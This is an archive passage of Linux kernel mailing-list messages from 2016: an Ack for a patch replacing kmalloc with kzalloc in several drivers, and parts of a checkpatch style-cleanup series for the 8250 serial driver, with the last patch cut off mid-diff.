Original-Received: by mail-io0-f170.google.com with SMTP id 1so204410538ion.1
        for <linux-mm@kvack.org>; Thu, 07 Jan 2016 05:07:06 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:thread-topic:thread-index:date:message-id:references
         :in-reply-to:accept-language:content-language:content-type
         :content-transfer-encoding:mime-version;
        bh=xjGBE3EodoK8dSI9ftKh59Z8J+OASi/BHXo3p2fJtAM=;
        b=MdfkfJP2ZUMuUMYd/Dhs95CUb4+Y47IiYKol4lsTshZDJgDwk7pKYLYsvt1Rs6X9l+
         J5LoDdKl0sdu59ba3M2jX2uJhd+1naK5etk1K/g1VryLY/bWZHwND7genIn9x18Sj0ZC
         1Q1uBBEg2eFZnGUHVEPJFbra72cgfq4weEbmx5tiAqsV3Gv5WBvLi2zYgnjyjVd7yZ22
         ml8YmNpg5PfBl4LGEWM4nMhI131WxeFlI/p/5vkRy5vjRCHRL6BGdbdPXrdejM5WjEA6
         gUqXeZbkS7woxF0rSNg9mOXddJOxqhrUMmv6VCFAAv+oSutii2KL5rlOJUnzdkvfPOfj
         EiFw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of Alexandre.Bounine@idt.com designates 157.165.5.25 as permitted sender) smtp.mailfrom=Alexandre.Bounine@idt.com
X-Gm-Message-State: ALoCoQmsw21fMVAlMmtg5tJONopDqvU4RQseGIeBLSh5QOdePwkItYDH9DxJR9TvRab61SIrqhZRPsMiJcq4OMNNpnK8P/lu5ywdpu5qCYJh4/LCfE4OVN4WcbVFuDcn5o2CnMHsQ1HvF6nKoZDxXtKb2hefKvKje73jJNHhq94nqXKAICke35omq/snry2e4QVfmtOK/lP/
X-Received: by 10.107.41.142 with SMTP id p136mr79885638iop.70.1452172026295;
        Thu, 07 Jan 2016 05:07:06 -0800 (PST)
X-Received: by 10.107.41.142 with SMTP id p136mr79885586iop.70.1452172025726;
        Thu, 07 Jan 2016 05:07:05 -0800 (PST)
Original-Received: from mxout1.idt.com (mxout1.idt.com. [157.165.5.25])
        by mx.google.com with ESMTPS id 32si3331881iot.211.2016.01.07.05.07.05
        for <linux-mm@kvack.org>
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 07 Jan 2016 05:07:05 -0800 (PST)
Received-SPF: pass (google.com: domain of Alexandre.Bounine@idt.com designates 157.165.5.25 as permitted sender) client-ip=157.165.5.25;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of Alexandre.Bounine@idt.com designates 157.165.5.25 as permitted sender) smtp.mailfrom=Alexandre.Bounine@idt.com
Original-Received: from mail.idt.com (localhost [127.0.0.1])
	by mxout1.idt.com (8.13.1/8.13.1) with ESMTP id u07D6f9p031351;
	Thu, 7 Jan 2016 05:06:41 -0800
Original-Received: from corpml3.corp.idt.com (corpml3.corp.idt.com [157.165.140.25])
	by mail.idt.com (8.13.8/8.13.8) with ESMTP id u07D6ewq025279;
	Thu, 7 Jan 2016 05:06:40 -0800 (PST)
Original-Received: from corpmail2.na.ads.idt.com (corpimss.corp.idt.com [157.165.140.30])
	by corpml3.corp.idt.com (8.11.7p1+Sun/8.11.7) with ESMTP id u07D6dv10997;
	Thu, 7 Jan 2016 05:06:39 -0800 (PST)
Original-Received: from CORPMAIL1.na.ads.idt.com ([fe80::f9ec:4643:471e:dd33]) by
 corpmail2.na.ads.idt.com ([2002:9da5:8cc6::9da5:8cc6]) with mapi id
 14.03.0158.001; Thu, 7 Jan 2016 05:06:39 -0800
Thread-Topic: [PATCH v3 UPDATE 09/17] drivers: Initialize resource entry to
 zero
Thread-Index: AQHRR/5Zjv7aHG9B2EGJJhhDFlNhFp7wCG5g
In-Reply-To: <1452028537-27365-1-git-send-email-toshi.kani@hpe.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [157.165.140.50]
X-TM-AS-MML: disable
X-Scanned-By: MIMEDefang 2.43
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:144062 gmane.linux.kernel.cross-arch:30213 gmane.linux.kernel:2120863 gmane.linux.acpi.devel:80968 gmane.linux.ports.parisc:26307 gmane.linux.ports.sh.devel:52701
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/144062>

Ack-ed.

Alex.

-----Original Message-----
From: Toshi Kani [mailto:toshi.kani@hpe.com]=20
Sent: Tuesday, January 05, 2016 4:16 PM
To: akpm@linux-foundation.org; bp@alien8.de
Cc: linux-arch@vger.kernel.org; linux-mm@kvack.org; linux-kernel@vger.kerne=
l.org; Matt Porter; Bounine, Alexandre; linux-acpi@vger.kernel.org; linux-p=
arisc@vger.kernel.org; linux-sh@vger.kernel.org; Toshi Kani
Subject: [PATCH v3 UPDATE 09/17] drivers: Initialize resource entry to zero

I/O resource descriptor, 'desc' in struct resource, needs to be
initialized to zero by default.  Some drivers call kmalloc() to
allocate a resource entry, but does not initialize it to zero by
memset().  Change these drivers to call kzalloc(), instead.

Cc: Matt Porter <mporter@kernel.crashing.org>
Cc: Alexandre Bounine <alexandre.bounine@idt.com>
Cc: linux-acpi@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Acked-by: Simon Horman <horms+renesas@verge.net.au> # sh
Acked-by: Helge Deller <deller@gmx.de> # parisc
Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
---
v3 UPDATE: Add cc to RAPIDIO maintainers that was missing.
---
 drivers/acpi/acpi_platform.c       |    2 +-
 drivers/parisc/eisa_enumerator.c   |    4 ++--
 drivers/rapidio/rio.c              |    8 ++++----
 drivers/sh/superhyway/superhyway.c |    2 +-
 4 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/acpi/acpi_platform.c b/drivers/acpi/acpi_platform.c
index 296b7a1..b6f7fa3 100644
--- a/drivers/acpi/acpi_platform.c
+++ b/drivers/acpi/acpi_platform.c
@@ -62,7 +62,7 @@ struct platform_device *acpi_create_platform_device(struc=
t acpi_device *adev)
 	if (count < 0) {
 		return NULL;
 	} else if (count > 0) {
-		resources =3D kmalloc(count * sizeof(struct resource),
+		resources =3D kzalloc(count * sizeof(struct resource),
 				    GFP_KERNEL);
 		if (!resources) {
 			dev_err(&adev->dev, "No memory for resources\n");
diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumera=
tor.c
index a656d9e..21905fe 100644
--- a/drivers/parisc/eisa_enumerator.c
+++ b/drivers/parisc/eisa_enumerator.c
@@ -91,7 +91,7 @@ static int configure_memory(const unsigned char *buf,
 	for (i=3D0;i<HPEE_MEMORY_MAX_ENT;i++) {
 		c =3D get_8(buf+len);
 	=09
-		if (NULL !=3D (res =3D kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL !=3D (res =3D kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			int result;
 		=09
 			res->name =3D name;
@@ -183,7 +183,7 @@ static int configure_port(const unsigned char *buf, str=
uct resource *io_parent,
 	for (i=3D0;i<HPEE_PORT_MAX_ENT;i++) {
 		c =3D get_8(buf+len);
 	=09
-		if (NULL !=3D (res =3D kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL !=3D (res =3D kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			res->name =3D board;
 			res->start =3D get_16(buf+len+1);
 			res->end =3D get_16(buf+len+1)+(c&HPEE_PORT_SIZE_MASK)+1;
diff --git a/drivers/rapidio/rio.c b/drivers/rapidio/rio.c
index d7b87c6..e220edc 100644
--- a/drivers/rapidio/rio.c
+++ b/drivers/rapidio/rio.c
@@ -117,7 +117,7 @@ int rio_request_inb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_inb_mbox =3D=3D NULL)
 		goto out;
=20
-	res =3D kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res =3D kzalloc(sizeof(struct resource), GFP_KERNEL);
=20
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -185,7 +185,7 @@ int rio_request_outb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_outb_mbox =3D=3D NULL)
 		goto out;
=20
-	res =3D kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res =3D kzalloc(sizeof(struct resource), GFP_KERNEL);
=20
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -285,7 +285,7 @@ int rio_request_inb_dbell(struct rio_mport *mport,
 {
 	int rc =3D 0;
=20
-	struct resource *res =3D kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res =3D kzalloc(sizeof(struct resource), GFP_KERNEL);
=20
 	if (res) {
 		rio_init_dbell_res(res, start, end);
@@ -360,7 +360,7 @@ int rio_release_inb_dbell(struct rio_mport *mport, u16 =
start, u16 end)
 struct resource *rio_request_outb_dbell(struct rio_dev *rdev, u16 start,
 					u16 end)
 {
-	struct resource *res =3D kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res =3D kzalloc(sizeof(struct resource), GFP_KERNEL);
=20
 	if (res) {
 		rio_init_dbell_res(res, start, end);
diff --git a/drivers/sh/superhyway/superhyway.c b/drivers/sh/superhyway/sup=
erhyway.c
index 2d9e7f3..bb1fb771 100644
--- a/drivers/sh/superhyway/superhyway.c
+++ b/drivers/sh/superhyway/superhyway.c
@@ -66,7 +66,7 @@ int superhyway_add_device(unsigned long base, struct supe=
rhyway_device *sdev,
 	superhyway_read_vcr(dev, base, &dev->vcr);
=20
 	if (!dev->resource) {
-		dev->resource =3D kmalloc(sizeof(struct resource), GFP_KERNEL);
+		dev->resource =3D kzalloc(sizeof(struct resource), GFP_KERNEL);
 		if (!dev->resource) {
 			kfree(dev);
 			return -ENOMEM;

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v3 00/12] tty: serial: 8250: Fix checkpatch warnings
Date: Fri,  8 Jan 2016 11:21:56 +0100
Lines: 90
Approved: news@gmane.org
Message-ID: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1452248563 28247 80.91.229.3 (8 Jan 2016 10:22:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:22:43 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 11:22:33 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHUBi-0006W1-Oy
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 11:22:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753430AbcAHKWa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 05:22:30 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44108 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752478AbcAHKW2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:28 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id B34B858C4C8;
	Fri,  8 Jan 2016 11:22:24 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:24 +0100
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26308 gmane.linux.kernel:2121652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26308>

Hello Peter and Andy,

sorry for the long delay - we were very busy during christmas holidays.
We tried to incorporate your suggestions.

Regards,
Anton Wuerfel
Phillip Raffeck

This patch set fixes several checkpatch warnings in tty/serial/8250.

Patch 1/12:  Adds missing spaces (mainly to function/macro headers)
Patch 2/12:  Replace spaces with tabs wherever possible
Patch 3/12:  Slight patch which moves an opening curly brace
Patch 4/12:  Fixes multiline comment style
Patch 5/12:  Removes else blocks after return statements
Patch 6/12:  Slight patch which moves EXPORT_SYMBOL macro to correct position
Patch 7/12:  Slight patch which removes an unneccessary line continuation
Patch 8/12:  Slight patch which adds parentheses to a macro definition
Patch 9/12:  Merges user-visible multiline strings to a single line
Patch 10/12: Replace printk by dev_* or pr_* where appropriate
Patch 11/12: Remove orphaned debug macro
Patch 12/12: Fixes code indentation

Remaining checkpatch warnings after applying this patch series:

-line over 80 characters
	This error mostly occurs in serial_cs.c, which contains long-lined
	macro calls. However, splitting these calls into multiple lines would
	not increase readability.

-externs should be avoided in .c files
	This occurs in 8250_hp300.c. There is no corresponding header file
	the extern statement could be moved to. It could be moved to 8250.h
	but this would affect other .c files.

-Use #include <linux/*.h> instead of <asm/*.h>
	This warning has been left open for more experienced kernel hackers.
	This patch series is about style issues. We do not intend to alter
	the code behavior.
-struct uart_ops should normally be const
	This warning only occurs in 8250_core.c. The corresponding struct
	cannot be declared as const because it is altered in
	serial8250_isa_init_ports(). Maybe a checkpatch exception should
	be added for this particular warning.

-quoted string split across lines
	These strings were ignored because they otherwise would exceed
	80 characters in a single line. These particular strings use
	format specifiers, which break the ability to grep for them anyway.

Anton Wuerfel (12):
Phillip Raffeck (12):
  tty: serial: 8250: Fix whitespace errors
  tty: serial: 8250: Replace spaces with tabs
  tty: serial: 8250: Fix braces after struct
  tty: serial: 8250: Fix multiline comment style
  tty: serial: 8250: Remove else after return
  tty: serial: 8250: Move EXPORT_SYMBOL to function
  tty: serial: 8250: Fix line continuation warning
  tty: serial: 8250: Add parentheses to macro
  tty: serial: 8250: Fix multi-line strings
  tty: serial: 8250: Fix indentation warnings
  tty: serial: 8250: Suitably replace printk
  tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro

 drivers/tty/serial/8250/8250_accent.c        |  2 +-
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          |  2 +-
 drivers/tty/serial/8250/8250_core.c          | 15 ++---
 drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
 drivers/tty/serial/8250/8250_fourport.c      |  2 +-
 drivers/tty/serial/8250/8250_gsc.c           |  7 ++-
 drivers/tty/serial/8250/8250_hp300.c         | 26 ++++----
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_ingenic.c       | 12 ++--
 drivers/tty/serial/8250/8250_pci.c           | 49 +++++++--------
 drivers/tty/serial/8250/8250_pnp.c           | 20 ++++---
 drivers/tty/serial/8250/8250_port.c          | 46 +++++++-------
 drivers/tty/serial/8250/serial_cs.c          | 89 +++++++++++++++-------------
 14 files changed, 145 insertions(+), 131 deletions(-)

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 12/12] tty: serial: 8250: Fix indentation warnings
Date: Fri,  8 Jan 2016 11:22:08 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <1452248528-14023-13-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248579 28438 80.91.229.3 (8 Jan 2016 10:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:22:59 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 11:22:49 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHUBz-0000mz-QG
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 11:22:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754642AbcAHKWo convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 05:22:44 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44276 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754596AbcAHKWl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:41 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id C054358C4DD;
	Fri,  8 Jan 2016 11:22:38 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:38 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2121653 gmane.linux.ports.parisc:26309
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2121653>

Checkpatch complains about incorrect indentation of switch/case stateme=
nts.
This patch fixes the corresponding warnings. Additionally some indentat=
ion
is changed to match the correct format specified in the Linux Kernel
Coding Style.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_pnp.c  |  4 ++--
 drivers/tty/serial/8250/8250_port.c |  6 +++---
 3 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 09157fa..b0b47f9 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -841,12 +841,12 @@ static int pci_netmos_init(struct pci_dev *dev)
 		return 0;
=20
 	switch (dev->device) { /* FALLTHROUGH on all */
-		case PCI_DEVICE_ID_NETMOS_9904:
-		case PCI_DEVICE_ID_NETMOS_9912:
-		case PCI_DEVICE_ID_NETMOS_9922:
-		case PCI_DEVICE_ID_NETMOS_9900:
-			num_serial =3D pci_netmos_9900_numports(dev);
-			break;
+	case PCI_DEVICE_ID_NETMOS_9904:
+	case PCI_DEVICE_ID_NETMOS_9912:
+	case PCI_DEVICE_ID_NETMOS_9922:
+	case PCI_DEVICE_ID_NETMOS_9900:
+		num_serial =3D pci_netmos_9900_numports(dev);
+		break;
=20
 		default:
 			if (num_serial =3D=3D 0) {
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 5f852e8..ad9debb 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -427,8 +427,8 @@ static int check_resources(struct pnp_dev *dev)
 static int serial_pnp_guess_board(struct pnp_dev *dev)
 {
 	if (!(check_name(pnp_dev_name(dev)) ||
-		(dev->card && check_name(dev->card->name))))
-			return -ENODEV;
+	    (dev->card && check_name(dev->card->name))))
+		return -ENODEV;
=20
 	if (check_resources(dev))
 		return 0;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 343d050..da3b240 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -2235,9 +2235,9 @@ static void serial8250_set_divisor(struct uart_po=
rt *port, unsigned int baud,
 		serial_port_out(port, 0x2, quot_frac);
 }
=20
-static unsigned int
-serial8250_get_baud_rate(struct uart_port *port, struct ktermios *term=
ios,
-			 struct ktermios *old)
+static unsigned int serial8250_get_baud_rate(struct uart_port *port,
+					     struct ktermios *termios,
+					     struct ktermios *old)
 {
 	unsigned int tolerance =3D port->uartclk / 100;
=20
--=20
1.9.1



From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v3 05/12] tty: serial: 8250: Remove else after return
Date: Fri,  8 Jan 2016 11:22:01 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <1452248528-14023-6-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248587 28604 80.91.229.3 (8 Jan 2016 10:23:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:23:07 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 11:22:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHUBz-0000mz-70
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 11:22:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754576AbcAHKWj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 05:22:39 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44228 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754487AbcAHKWd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:33 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 9A64358C4DA;
	Fri,  8 Jan 2016 11:22:30 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:30 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26310 gmane.linux.kernel:2121654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26310>

This patch fixes checkpatch warnings about unnecessary else blocks afte=
r
return statements.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 7f9f245..09157fa 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -805,10 +805,10 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
=20
 	pi =3D (c & 0xff);
=20
-	if (pi =3D=3D 2) {
+	if (pi =3D=3D 2)
 		return 1;
-	} else if ((pi =3D=3D 0) &&
-			   (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) {
+
+	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) =
{
 		/* two possibilities: 0x30ps encodes number of parallel and
 		 * serial ports, or 0x1000 indicates *something*. This is not
 		 * immediately obvious, since the 2s1p+4s configuration seems
@@ -816,12 +816,11 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
 		 * advertising the same function 3 as the 4s+2s1p config.
 		 */
 		sub_serports =3D dev->subsystem_device & 0xf;
-		if (sub_serports > 0) {
+		if (sub_serports > 0)
 			return sub_serports;
-		} else {
-			dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on a=
mbiguous config.\n");
-			return 0;
-		}
+
